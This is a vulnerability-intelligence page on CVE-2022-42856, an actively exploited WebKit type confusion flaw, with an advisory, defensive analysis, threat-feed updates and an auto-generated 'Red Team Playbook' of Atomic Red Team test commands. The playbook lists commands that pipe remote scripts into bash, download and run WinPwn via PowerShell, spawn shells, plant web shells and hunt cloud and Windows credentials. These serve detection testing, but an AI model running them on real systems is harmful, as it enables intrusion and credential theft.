CVE-2022-42856
Overview
This vulnerability is a type confusion flaw arising from improper state management within the JavaScript engine used by Safari and tvOS. The root cause involves incorrect handling of object types during state transitions, leading to memory corruption. The affected components include the Safari browser engine and related web content processing modules in Apple tvOS, macOS, iOS, and iPadOS.
Vulnerability Description
A type confusion issue was addressed with improved state handling. This issue is fixed in Safari 16.2, tvOS 16.2, macOS Ventura 13.1, iOS 15.7.2 and iPadOS 15.7.2, iOS 16.1.2. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.1..
Impact
An attacker can achieve arbitrary code execution within the context of the affected browser or application by convincing a user to load crafted web content. This does not require prior authentication but does require user interaction to visit a malicious website or open malicious content. Successful exploitation may lead to full compromise of the affected device, including unauthorized access to sensitive data and system control, potentially enabling further lateral movement or persistent compromise within the environment.
Solution
Apple has addressed this vulnerability in updates to Safari 16.2, tvOS 16.2, macOS Ventura 13.1, iOS 15.7.2, iPadOS 15.7.2, and iOS 16.1.2. Users and administrators should apply these updates promptly. Detailed patch instructions and update availability are documented in Apple's security advisories at https://support.apple.com/en-us/HT213535, https://support.apple.com/en-us/HT213532, and https://support.apple.com/en-us/HT213531.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question is characterized by a type confusion issue that arises from improper state handling within the affected software. This flaw allows an attacker to manipulate the way the application processes data, leading to potential arbitrary code execution. In essence, type confusion occurs when a program mistakenly interprets a variable as a different type than intended, which can result in unexpected behavior and exploitation opportunities. The flaw has been addressed in several updates across Apple's product lines, including Safari, iOS, iPadOS, macOS, and tvOS. The nature of this vulnerability suggests that it could be exploited through maliciously crafted web content, which is particularly concerning given the widespread use of these platforms for web browsing and application access.
Attack vectors for this vulnerability primarily involve the delivery of specially crafted web content to users. An attacker could host a malicious website or inject harmful scripts into legitimate sites, enticing users to visit or interact with the content. Once the targeted user engages with the compromised content, the type confusion can be triggered, allowing the attacker to execute arbitrary code on the victim's device. This exploitation could lead to a range of malicious activities, including data theft, unauthorized access to sensitive information, or the installation of additional malware. The potential for exploitation is heightened by reports indicating that the vulnerability may have been actively exploited against earlier versions of iOS, underscoring the urgency for users to update their devices.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on Apple devices for their operations. Given the high CVSS score of 8.8, the risk associated with this flaw is classified as critical. Organizations that fail to address this vulnerability may face severe consequences, including data breaches, loss of customer trust, and potential regulatory penalties. The ability for an attacker to execute arbitrary code remotely poses a direct threat to the integrity and confidentiality of sensitive business data. Additionally, the potential for widespread exploitation could lead to a ripple effect, impacting not only the targeted organization but also its clients and partners.
To effectively detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular software updates and patch management are crucial, as they ensure that devices are running the latest versions of affected software, which contain fixes for known vulnerabilities. Additionally, employing web filtering solutions can help block access to known malicious sites and prevent users from interacting with harmful content. Organizations should also conduct regular security awareness training for employees, educating them on the risks of clicking on unknown links or visiting suspicious websites. Furthermore, implementing endpoint protection solutions can provide an additional layer of security by monitoring for unusual behavior indicative of exploitation attempts.
In conclusion, the type confusion vulnerability presents a serious threat to users of Apple's software products, with the potential for significant real-world impact. The exploitation scenarios highlight the need for vigilance in web browsing practices and the importance of timely software updates. By adopting comprehensive detection and mitigation strategies, organizations can better protect themselves and their users from the risks associated with this and similar vulnerabilities. As the threat landscape continues to evolve, maintaining a proactive security posture will be essential in safeguarding sensitive information and ensuring business continuity.
Recent CSURFACE threat intelligence indicates a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-42856, reflecting a rising likelihood of exploitation attempts targeting Apple tvOS and related platforms. While no new exploit techniques or active campaigns have been identified by our telemetry, the upward trend in EPSS—now elevated by nearly 40%—signals growing interest or preparatory activity within attacker communities. This shift underscores the potential for increased exploitation risk, particularly given the vulnerability’s high severity and history of reported active exploitation on earlier iOS versions. Defenders should interpret this as an early warning of heightened threat momentum, warranting continued vigilance in monitoring and detection efforts. Although the current exploit landscape remains static, the evolving EPSS trajectory suggests that the threat level is incrementally rising, emphasizing the need for sustained attention to patch management and anomaly detection related to this vulnerability.
Update 2 — July 29, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-42856, with telemetry indicating a significant surge in attempts to exploit this vulnerability on affected Apple tvOS devices. This increase in detection frequency suggests adversaries are intensifying efforts to leverage the type confusion flaw for arbitrary code execution. Although no new exploit techniques or ransomware associations have surfaced, the sharp rise in exploitation attempts elevates the immediacy of the threat. For defenders, this development signals a heightened risk environment, underscoring the need for sustained monitoring and rapid response capabilities. Consequently, the threat level for CVE-2022-42856 should be considered elevated beyond prior assessments, reflecting an active and growing adversary interest despite the absence of novel exploit variants.
Update 3 — August 17, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2022-42856, with our telemetry indicating a doubling in detection frequency over recent monitoring periods. This surge reflects increased adversary focus on leveraging the type confusion vulnerability within Apple tvOS environments, despite the absence of new exploit variants or ransomware affiliations. The persistence and intensification of these attempts suggest that threat actors are refining their operational tactics to bypass existing mitigations and capitalize on unpatched systems. For defenders, this evolving activity underscores an elevated risk posture, as the volume and consistency of exploitation efforts raise the likelihood of successful compromise in environments where timely patching has not been implemented. Consequently, the threat level associated with CVE-2022-42856 should be considered heightened, warranting continued vigilance and prioritization within security monitoring frameworks.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
11 eventsSighting activity recorded
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.